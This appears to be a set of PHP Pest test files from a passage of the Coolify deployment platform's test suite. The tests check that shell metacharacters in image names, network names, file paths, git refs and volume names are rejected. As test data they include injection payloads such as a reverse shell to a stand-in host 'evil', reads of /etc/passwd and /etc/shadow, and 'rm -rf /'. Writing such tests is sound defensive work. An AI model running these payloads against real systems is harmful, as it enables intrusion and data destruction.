expect($failures)->not->toBeEmpty();
})->with([
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
'newline' => "nginx:latest\nid",
]);
it('stops deployments when a stored docker registry image value is unsafe', function () {
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
$application = new Application([
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
'docker_registry_image_tag' => 'latest',
]);
$deploymentQueue = new ApplicationDeploymentQueue([
'docker_registry_image_tag' => null,
]);
$jobReflection = new ReflectionClass($job);
foreach ([
'application' => $application,
'application_deployment_queue' => $deploymentQueue,
'dockerImagePreviewTag' => null,
] as $property => $value) {
$reflectionProperty = $jobReflection->getProperty($property);
$reflectionProperty->setValue($job, $value);
}
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
});
+48
View File
@@ -0,0 +1,48 @@
<?php
use App\Models\StandaloneDocker;
use App\Models\SwarmDocker;
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
$model = new StandaloneDocker;
$model->network = $network;
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
'backtick injection' => 'net`id`',
'space injection' => 'net work',
])->throws(InvalidArgumentException::class);
it('StandaloneDocker accepts valid network names', function (string $network) {
$model = new StandaloneDocker;
$model->network = $network;
expect($model->network)->toBe($network);
})->with([
'simple' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
'with dot' => 'my.network',
'alphanumeric' => 'network123',
]);
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
$model = new SwarmDocker;
$model->network = $network;
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
])->throws(InvalidArgumentException::class);
it('SwarmDocker accepts valid network names', function (string $network) {
$model = new SwarmDocker;
$model->network = $network;
expect($model->network)->toBe($network);
})->with([
'simple' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
]);
@@ -0,0 +1,23 @@
<?php
it('requires a mail driver before Docmost can start', function () {
$compose = file_get_contents(__DIR__.'/../../templates/compose/docmost.yaml');
expect($compose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
foreach (['service-templates.json', 'service-templates-latest.json'] as $templateFile) {
$templates = json_decode(
file_get_contents(__DIR__."/../../templates/{$templateFile}"),
associative: true,
flags: JSON_THROW_ON_ERROR,
);
$generatedCompose = base64_decode($templates['docmost']['compose'], strict: true);
expect($generatedCompose)
->toContain('MAIL_DRIVER=${MAIL_DRIVER:?}')
->not->toContain('MAIL_DRIVER=${MAIL_DRIVER}');
}
});
@@ -0,0 +1,74 @@
<?php
use App\Models\EnvironmentVariable;
use App\Models\SharedEnvironmentVariable;
it('flags NIXPACKS_ keys as buildpack control variables', function () {
$env = new EnvironmentVariable;
$env->key = 'NIXPACKS_NODE_VERSION';
expect($env->is_buildpack_control)->toBeTrue();
});
it('flags RAILPACK_ keys as buildpack control variables', function () {
$env = new EnvironmentVariable;
$env->key = 'RAILPACK_NODE_VERSION';
expect($env->is_buildpack_control)->toBeTrue();
});
it('does not flag user-defined keys as buildpack control variables', function () {
$env = new EnvironmentVariable;
$env->key = 'MY_BUILD_VAR';
expect($env->is_buildpack_control)->toBeFalse();
});
it('does not flag empty key as buildpack control variable', function () {
$env = new EnvironmentVariable;
expect($env->is_buildpack_control)->toBeFalse();
});
it('lists is_buildpack_control in appends and drops legacy is_nixpacks', function () {
$env = new EnvironmentVariable;
expect($env->getAppends())->toContain('is_buildpack_control');
expect($env->getAppends())->not->toContain('is_nixpacks');
});
it('normalizes environment variable keys before storing them on the model', function () {
$env = new EnvironmentVariable;
$env->key = ' node.name ';
expect($env->key)->toBe('node.name');
});
it('allows Docker-compatible environment variable keys on the model', function (string $key) {
$env = new EnvironmentVariable;
$env->key = $key;
expect($env->key)->toBe($key);
})->with([
'starts with digit' => '1BAD',
'hyphen' => 'BAD-KEY',
'dot' => 'node.name',
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
'semicolon' => 'BAD;KEY',
]);
it('rejects environment variable keys Docker cannot represent on the model', function () {
$env = new EnvironmentVariable;
expect(function () use ($env) {
$env->key = 'BAD=KEY';
})->toThrow(InvalidArgumentException::class, 'Docker-compatible');
});
it('rejects shared environment variable keys Docker cannot represent on the model', function () {
$env = new SharedEnvironmentVariable;
expect(function () use ($env) {
$env->key = 'BAD=KEY';
})->toThrow(InvalidArgumentException::class, 'Docker-compatible');
});
+50
View File
@@ -91,3 +91,53 @@ test('file storage accepts paths with underscores and hyphens', function () {
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
// --- Regression tests for file mount path validation ---
// These verify that file mount paths (not just directory mounts) are validated,
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
test('file storage rejects command injection in file mount path context', function () {
$maliciousPaths = [
'/app/config$(id)',
'/app/config;whoami',
'/app/config|cat /etc/passwd',
'/app/config`id`',
'/app/config&whoami',
'/app/config>/tmp/pwned',
'/app/config</etc/shadow',
"/app/config\nrm -rf /",
];
foreach ($maliciousPaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->toThrow(Exception::class);
}
});
test('file storage rejects variable substitution in paths', function () {
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
->toThrow(Exception::class);
});
test('file storage accepts safe file mount paths', function () {
$safePaths = [
'/etc/nginx/nginx.conf',
'/app/.env',
'/data/coolify/services/abc123/config.yml',
'/var/www/html/index.php',
'/opt/app/config/database.json',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->not->toThrow(Exception::class);
}
});
test('file storage accepts relative dot-prefixed paths', function () {
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('./data', 'storage path'))
->not->toThrow(Exception::class);
});
+29
View File
@@ -0,0 +1,29 @@
<?php
test('hex magic variables generate valid hex strings with expected lengths', function (string $command, int $expectedLength) {
$value = generateEnvValue($command);
expect($value)
->toBeString()
->toMatch('/^[0-9a-f]+$/');
expect(strlen($value))->toBe($expectedLength);
})->with([
'HEX_32' => ['HEX_32', 32],
'HEX_64' => ['HEX_64', 64],
'HEX_128' => ['HEX_128', 128],
]);
test('real base64 magic variables generate valid base64 strings from expected byte lengths', function (string $command, int $expectedBytes) {
$value = generateEnvValue($command);
$decodedValue = base64_decode($value, true);
expect($value)->toBeString();
expect($decodedValue)->not->toBeFalse();
expect(strlen($decodedValue))->toBe($expectedBytes);
})->with([
'REALBASE64' => ['REALBASE64', 32],
'REALBASE64_32' => ['REALBASE64_32', 32],
'REALBASE64_64' => ['REALBASE64_64', 64],
'REALBASE64_128' => ['REALBASE64_128', 128],
]);
@@ -0,0 +1,49 @@
<?php
namespace App\Models {
function generateGithubInstallationToken(GithubApp $source): string
{
return 'review token/with+symbols';
}
}
namespace {
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GithubApp;
test('private github app submodule credentials use per command git config', function () {
$application = new Application;
$application->forceFill([
'uuid' => 'test-app-uuid',
'git_repository' => 'coollabsio/private-app',
'git_branch' => 'main',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$application->setRelation('settings', $settings);
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => false,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->not->toContain('git config --global')
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync")
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive");
});
}
+11 -9
View File
@@ -1,12 +1,14 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
/**
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
* Tests for git ref validation.
*
* Ensures that git_commit_sha and related inputs are validated
* to prevent OS command injection via shell metacharacters.
*/
describe('validateGitRef', function () {
test('accepts valid hex commit SHAs', function () {
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
@@ -93,31 +95,31 @@ describe('validateGitRef', function () {
describe('executeInDocker git log escaping', function () {
test('git log command escapes commit SHA to prevent injection', function () {
$maliciousCommit = "HEAD'; id; #";
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
$command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B';
$result = executeInDocker('test-container', $command);
// The malicious payload must not be able to break out of quoting
expect($result)->not->toContain("id;");
expect($result)->not->toContain('id;');
expect($result)->toContain("'HEAD'\\''");
});
});
describe('buildGitCheckoutCommand escaping', function () {
test('checkout command escapes target to prevent injection', function () {
$app = new \App\Models\Application;
$app->forceFill(['uuid' => 'test-uuid']);
$app = new Application;
$app->fill(['uuid' => 'test-uuid']);
$settings = new \App\Models\ApplicationSetting;
$settings = new ApplicationSetting;
$settings->is_git_submodules_enabled = false;
$app->setRelation('settings', $settings);
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
$method = new ReflectionMethod($app, 'buildGitCheckoutCommand');
$result = $method->invoke($app, 'abc123');
expect($result)->toContain("git checkout 'abc123'");
$result = $method->invoke($app, "abc'; id; #");
expect($result)->not->toContain("id;");
expect($result)->not->toContain('id;');
expect($result)->toContain("git checkout 'abc'");
});
});
+168
View File
@@ -0,0 +1,168 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
describe('Git submodule credential propagation', function () {
beforeEach(function () {
$this->application = new Application;
$this->application->forceFill([
'uuid' => 'test-app-uuid',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$this->application->setRelation('settings', $settings);
});
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->toContain('git submodule sync');
});
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
);
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
$this->application->git_commit_sha = 'abc123def456';
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
});
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
$this->application->git_commit_sha = 'abc123def456';
$this->application->settings->is_git_shallow_clone_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
});
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
$this->application->settings->is_git_lfs_enabled = true;
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$result = $this->application->setGitImportSettings(
deployment_uuid: 'test-uuid',
git_clone_command: 'git clone',
public: false,
gitSshCommand: $sshCommand
);
expect($result)
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
});
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main', $sshCommand);
expect($result)
->toContain("git checkout 'main'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
$this->application->settings->is_git_submodules_enabled = false;
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
$result = $method->invoke($this->application, 'main');
expect($result)
->toContain("git checkout 'main'")
->not->toContain('submodule');
});
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = false;
$settings->is_git_submodules_enabled = true;
$settings->is_git_lfs_enabled = false;
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->git_commit_sha = 'HEAD';
$application->setRelation('settings', $settings);
$application->source = $gitlabSource;
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'git@gitlab.com:user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-uuid',
pull_request_id: 123,
git_type: 'gitlab',
exec_in_docker: false,
);
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
expect($result['commands'])
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
->toContain("git checkout 'pr-123-coolify'")
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
});
});
+15
View File
@@ -0,0 +1,15 @@
<?php
/**
* Architecture tests to prevent use of insecure PRNGs in application code.
*
* mt_rand() and rand() are not cryptographically secure. Use random_int()
* or random_bytes() instead for any security-sensitive context.
*/
arch('app code must not use mt_rand')
->expect('App')
->not->toUse(['mt_rand', 'mt_srand']);
arch('app code must not use rand')
->expect('App')
->not->toUse(['rand', 'srand']);
@@ -0,0 +1,28 @@
<?php
function expectRockyInstallScriptToUseRhelRepo(string $path): void
{
$installScript = file_get_contents(base_path($path));
expect($installScript)
->toContain('install_docker_from_rhel_repo() {')
->toContain('echo " - Installing Docker from the RHEL repository for Rocky Linux..."')
->toContain('rm -f /etc/yum.repos.d/docker-ce.repo /etc/yum.repos.d/docker-ce-staging.repo')
->toContain('dnf config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo')
->toContain('dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin')
->toContain('systemctl --now enable docker')
->toContain('"rocky")')
->toContain('install_docker_from_rhel_repo')
->not->toContain('dnf -y -q --setopt=install_weak_deps=False install dnf-plugins-core')
->not->toContain('dnf5 config-manager addrepo --overwrite --save-filename=docker-ce.repo --from-repofile=https://download.docker.com/linux/rhel/docker-ce.repo')
->not->toContain('dnf makecache')
->not->toContain('"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "rocky" | "sles")');
}
it('uses the rocky linux documented docker install flow in the stable install script', function () {
expectRockyInstallScriptToUseRhelRepo('scripts/install.sh');
});
it('uses the rocky linux documented docker install flow in the nightly install script', function () {
expectRockyInstallScriptToUseRhelRepo('other/nightly/install.sh');
});
+61
View File
@@ -0,0 +1,61 @@
<?php
use App\Models\Server;
afterEach(function () {
Mockery::close();
});
function makeServerForReachabilityTest(bool $isReachable, bool $notificationSent, int $unreachableCount): Server
{
$settings = Mockery::mock();
$settings->is_reachable = $isReachable;
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('refresh')->andReturnSelf();
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$server->shouldReceive('getAttribute')->with('unreachable_notification_sent')->andReturn($notificationSent);
$server->shouldReceive('getAttribute')->with('unreachable_count')->andReturn($unreachableCount);
return $server;
}
it('sends Reachable notification when reachable and notification was previously sent', function () {
$server = makeServerForReachabilityTest(isReachable: true, notificationSent: true, unreachableCount: 0);
$server->shouldReceive('sendReachableNotification')->once();
$server->shouldNotReceive('sendUnreachableNotification');
$server->isReachableChanged();
});
it('does not send any notification when reachable and notification was never sent', function () {
$server = makeServerForReachabilityTest(isReachable: true, notificationSent: false, unreachableCount: 0);
$server->shouldNotReceive('sendReachableNotification');
$server->shouldNotReceive('sendUnreachableNotification');
$server->isReachableChanged();
});
it('sends Unreachable notification when count >= 2 and not yet notified', function () {
$server = makeServerForReachabilityTest(isReachable: false, notificationSent: false, unreachableCount: 2);
$server->shouldReceive('sendUnreachableNotification')->once();
$server->shouldNotReceive('sendReachableNotification');
$server->isReachableChanged();
});
it('does not send Unreachable notification on first transient failure (count=1)', function () {
$server = makeServerForReachabilityTest(isReachable: false, notificationSent: false, unreachableCount: 1);
$server->shouldNotReceive('sendUnreachableNotification');
$server->shouldNotReceive('sendReachableNotification');
$server->isReachableChanged();
});
it('does not double-send Unreachable when already notified', function () {
$server = makeServerForReachabilityTest(isReachable: false, notificationSent: true, unreachableCount: 5);
$server->shouldNotReceive('sendUnreachableNotification');
$server->shouldNotReceive('sendReachableNotification');
$server->isReachableChanged();
});
+25 -32
View File
@@ -1,16 +1,26 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
function importFormWithResource(string $modelClass): ImportForm
{
$component = new class extends ImportForm
{
public $resource;
};
$database = Mockery::mock($modelClass);
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
$component->resource = $database;
return $component;
}
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = false;
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('pg_restore');
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
});
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandalonePostgresql');
$component->dumpAll = true;
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
$database = Mockery::mock('App\Models\StandalonePostgresql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('gunzip -cf /tmp/test.dump');
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
});
test('buildRestoreCommand handles MySQL without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMysql');
$component->dumpAll = false;
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMysql');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mysql -u $MYSQL_USER');
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
});
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
$component = new Import;
$component = importFormWithResource('App\Models\StandaloneMariadb');
$component->dumpAll = false;
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
$database = Mockery::mock('App\Models\StandaloneMariadb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mariadb -u $MARIADB_USER');
expect($result)->toContain('< /tmp/test.dump');
});
test('buildRestoreCommand handles MongoDB', function () {
$component = new Import;
$component->dumpAll = false;
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
$component = importFormWithResource('App\Models\StandaloneMongodb');
$component->dumpAll = $dumpAll;
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
$database = Mockery::mock('App\Models\StandaloneMongodb');
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
$component->resource = $database;
$result = $component->buildRestoreCommand('/tmp/test.dump');
expect($result)->toContain('mongorestore');
expect($result)->toContain('/tmp/test.dump');
});
expect($result)->toContain('--archive=/tmp/test.dump');
})->with([false, true]);
@@ -0,0 +1,66 @@
<?php
/**
* Unit tests for LocalFileVolume content size handling.
*
* Related Issue: #4701 - Storages page becomes unusable when Docker volumes
* mount large host files. Coolify previously stored full file content in the
* encrypted `content` mediumText column, then serialized it to the Livewire
* payload, crashing the browser.
*/
use App\Models\LocalFileVolume;
use Tests\TestCase;
uses(TestCase::class);
it('exposes a 5 MiB content size limit', function () {
expect(LocalFileVolume::MAX_CONTENT_SIZE)->toBe(5_242_880);
});
it('exposes binary and too-large placeholder constants', function () {
expect(LocalFileVolume::BINARY_PLACEHOLDER)->toBe('[binary file]');
expect(LocalFileVolume::TOO_LARGE_PLACEHOLDER)->toBe('[file too large to display]');
});
it('flags is_too_large when content matches the placeholder', function () {
$volume = new LocalFileVolume;
$volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER;
expect($volume->is_too_large)->toBeTrue();
expect($volume->is_binary)->toBeFalse();
});
it('flags is_binary when content matches the placeholder', function () {
$volume = new LocalFileVolume;
$volume->content = LocalFileVolume::BINARY_PLACEHOLDER;
expect($volume->is_binary)->toBeTrue();
expect($volume->is_too_large)->toBeFalse();
});
it('does not flag normal content as binary or too large', function () {
$volume = new LocalFileVolume;
$volume->content = "hello\nworld\n";
expect($volume->is_binary)->toBeFalse();
expect($volume->is_too_large)->toBeFalse();
});
it('does not flag empty content as binary or too large', function () {
$volume = new LocalFileVolume;
$volume->content = null;
expect($volume->is_binary)->toBeFalse();
expect($volume->is_too_large)->toBeFalse();
});
it('exposes the too-large flag via toArray for Livewire serialization', function () {
$volume = new LocalFileVolume;
$volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER;
$array = $volume->toArray();
expect($array)->toHaveKey('is_too_large');
expect($array['is_too_large'])->toBeTrue();
});
+1 -1
View File
@@ -5,7 +5,7 @@ use App\Models\Server;
use App\Models\ServerSetting;
// -------------------------------------------------------------------------
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
// Verify log drain env values are base64-encoded
// and never appear raw in shell commands
// -------------------------------------------------------------------------
@@ -0,0 +1,76 @@
<?php
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationPreview;
use App\Models\ApplicationSetting;
use App\Models\CloudProviderToken;
use App\Models\Environment;
use App\Models\GithubApp;
use App\Models\Project;
use App\Models\ProjectSetting;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\ScheduledTask;
use App\Models\ScheduledTaskExecution;
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\StandaloneClickhouse;
use App\Models\StandaloneDocker;
use App\Models\StandaloneDragonfly;
use App\Models\StandaloneKeydb;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Subscription;
use App\Models\SwarmDocker;
use App\Models\Tag;
use App\Models\User;
it('keeps required mass-assignment attributes fillable for internal create flows', function (string $modelClass, array $expectedAttributes) {
$model = new $modelClass;
expect($model->getFillable())->toContain(...$expectedAttributes);
})->with([
// Relationship/ownership keys
[CloudProviderToken::class, ['team_id']],
[Tag::class, ['team_id']],
[Subscription::class, ['team_id']],
[ScheduledTaskExecution::class, ['scheduled_task_id']],
[ScheduledDatabaseBackupExecution::class, ['uuid', 'scheduled_database_backup_id']],
[ScheduledDatabaseBackup::class, ['uuid', 'team_id']],
[ScheduledTask::class, ['uuid', 'team_id', 'application_id', 'service_id']],
[ServiceDatabase::class, ['service_id']],
[ServiceApplication::class, ['service_id']],
[ApplicationDeploymentQueue::class, ['docker_registry_image_tag']],
[Project::class, ['team_id', 'uuid']],
[Environment::class, ['project_id', 'uuid']],
[ProjectSetting::class, ['project_id']],
[ApplicationSetting::class, ['application_id']],
[ServerSetting::class, ['server_id']],
[SwarmDocker::class, ['server_id']],
[StandaloneDocker::class, ['server_id']],
[User::class, ['pending_email', 'email_change_code', 'email_change_code_expires_at']],
[Server::class, ['ip_previous']],
[GithubApp::class, ['team_id', 'private_key_id']],
// Application/Service resource keys (including uuid for clone flows)
[Application::class, ['uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'repository_project_id', 'private_key_id']],
[ApplicationPreview::class, ['uuid', 'application_id']],
[Service::class, ['uuid', 'environment_id', 'server_id', 'destination_id', 'destination_type']],
// Standalone database resource keys (including uuid for clone flows)
[StandalonePostgresql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMysql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMariadb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMongodb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneRedis::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneKeydb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneDragonfly::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneClickhouse::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
]);
+182
View File
@@ -0,0 +1,182 @@
<?php
/**
* Persistent Volume Security Tests
*
* Tests to ensure persistent volume names are validated against command injection
* and that shell commands properly escape volume names.
*
* Related Files:
* - app/Models/LocalPersistentVolume.php
* - app/Support/ValidationPatterns.php
* - app/Livewire/Project/Service/Storage.php
* - app/Actions/Service/DeleteService.php
*/
use App\Support\ValidationPatterns;
// --- Volume Name Pattern Tests ---
it('accepts valid Docker volume names', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
})->with([
'simple name' => 'myvolume',
'with hyphens' => 'my-volume',
'with underscores' => 'my_volume',
'with dots' => 'my.volume',
'with uuid prefix' => 'abc123-postgres-data',
'numeric start' => '1volume',
'complex name' => 'app123-my_service.data-v2',
]);
it('rejects volume names with shell metacharacters', function (string $name) {
